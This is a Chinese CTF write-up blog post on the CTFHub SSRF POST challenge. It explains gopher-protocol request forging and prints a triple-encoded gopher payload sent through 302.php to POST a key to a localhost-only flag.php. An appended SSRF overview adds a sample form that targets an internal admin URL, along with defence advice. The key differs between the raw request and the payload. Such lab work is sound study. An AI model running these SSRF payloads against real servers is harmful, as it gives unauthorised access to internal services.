CTFHUB-SSRF-POST请求(小宇特详解)

本文详细介绍了SSRF漏洞中302重定向的应用,以及如何通过Gopher协议构造POST请求,进行本地资源的访问和数据注入。Gopher协议在HTTP协议之前流行,尽管已逐渐减少使用,但在SSRF场景下仍可用于对FTP、Telnet等服务的攻击。通过302.php的跳转,可以伪造Gopher协议请求,绕过限制,完成特定操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CTFHUB-SSRF-POST请求

这里先说一下这里你需要知道的东西

而不是只会做题,不知道其所以然

这里我先说一下这里题里说的302跳转在这里发挥了什么作用

302跳转的302是http状态码

表示请求的网页自请求的网页移动到了新的位置,搜索引擎索引中保存原来的URL

这里可以通过访问302.php,并且传参gopher来伪造本地访问

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议

可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。

那么Gopher协议需要如何构造妮?

其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码

我们来看看Gopher协议的基本协议格式

gopher://:/_后接TCP数据流

这里直接写伪造的gopher协议

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d93819c4c1a18dc606dc5c6486f77227

这里通过gopher协议把key写入,并且直接访问flag.php

这里的步骤就是

1.先访问本地的127.0.0.1/flag.php,查看源代码,发现了只能本地访问,并且有key

这里在访问一下302.php

这里通过302.php的跳转来实现gopher协议伪造

这里我是url编码了3次,然后需要把%0A换成%0D%0A

payload

127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D0d2ed811e079dbd8e0bf85a0cb262d2e
### CTFHub Web平台中的SSRF漏洞利用Post请求 #### SSRF漏洞概述 服务器端请求伪造(Server-Side Request Forgery, SSRF)是一种攻击方式,其中攻击者能够诱使服务器向任意URL发出HTTP请求。这种攻击可能让攻击者绕过防火墙和其他安全控制措施,访问内部网络资源或敏感数据。 当应用程序允许用户输入并将其作为部分构建对外部服务的请求时,如果没有适当验证这些输入,则可能存在SSRF风险[^1]。 #### Post请求下的SSRF漏洞利用实例 在某些情况下,Web应用会接受来自用户的POST参数,并基于此创建新的HTTP POST请求到指定的目标位置。假设有一个接口`/api/fetchData`接收两个字段:一个是目标网址(`url`);另一个是要发送的数据体(`data`)。如果这个API不对传入的`url`做任何校验就直接发起请求的话,那么它就是一个潜在的SSRF入口点[^3]。 例如,在CTF场景下,可以通过构造如下表单提交来测试是否存在此类漏洞: ```html <form action="http://example.com/api/fetchData" method="POST"> <input type="hidden" name="url" value="http://internal-service/admin"/> <textarea name="data">{"action":"listUsers"}</textarea> <button>Submit</button> </form> ``` 一旦成功触发该行为,服务器就会尝试连接至所提供的内部路径并向其传递JSON负载,这可能导致未授权的信息泄露或其他更严重的后果。 #### 防御策略建议 为了防止上述情况的发生,应该采取以下几种方法加强防护: - **严格验证所有外部可控变量**:确保每一个由客户端提供的值都被仔细审查,别是那些用来组成最终调用链路的部分。 - **采用白名单模式限定可到达的目的地集合**:仅限于已知可信站点列表内的链接才被准许处理,拒绝一切超出范围之外的选择。 - **实施细粒度的身份认证与权限管理**:即使是在受控环境之内也要遵循最小权原则,即只有真正必要的时候才能给予定实体执行高危动作的权利。 另外值得注意的是,除了基本防范手段外还可以考虑引入诸如代理层之类的技术方案进一步隔离内外网之间的交互过程,减少暴露面的同时也增加了中间件层面的安全保障能力[^4]。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小宇特详解

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值